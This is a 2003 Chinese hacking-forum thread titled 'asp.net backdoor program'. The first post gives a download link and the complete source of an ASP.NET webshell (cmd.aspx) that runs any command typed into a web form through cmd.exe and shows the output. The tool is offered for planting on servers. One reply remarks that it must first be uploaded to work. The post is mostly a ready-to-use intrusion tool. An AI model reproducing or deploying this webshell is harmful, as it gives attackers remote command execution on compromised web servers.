找回密码
 立即注册
搜索
查看: 274|回复: 1

asp.net后门程序

[复制链接]

120

主题

819

回帖

1288

积分

金牌会员

积分
1288
发表于 2003-4-27 13:21:14 | 显示全部楼层 |阅读模式
asp.net后门程序(webshell)
awen
中华补天网
http://patching.net/awen

下载地址:http://patching.net/awen/awen/aspxshell.rar

把下面的代码存为cmd.aspx也是一样的。
前提当然是服务器上已经装了.net framework了。

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
  void Page_Load(object sender, EventArgs e)
  {            
  }
  string ExcuteCmd(string arg)
  {
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c "+arg;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
  }
  void cmdExe_Click(object sender, System.EventArgs e)
  {
    Response.Write("<pre>");
    Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
    Response.Write("</pre>");
  }
</script>
<HTML>
<HEAD>
  <title>awen asp.net webshell</title>  
</HEAD>
<body >
  <form id="cmd" method="post" runat="server">   
   <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
   <asp:Button id="执行" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
   <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">输入命令:</asp:Label>
  </form>
</body>
</HTML>

11

主题

414

回帖

573

积分

高级会员

积分
573
发表于 2003-4-27 13:49:54 | 显示全部楼层
这个不能算后门吧?你得先把它放到服务器上才行啊
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|海浩社区

GMT+8, 2025-9-21 12:24 , Processed in 0.081325 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表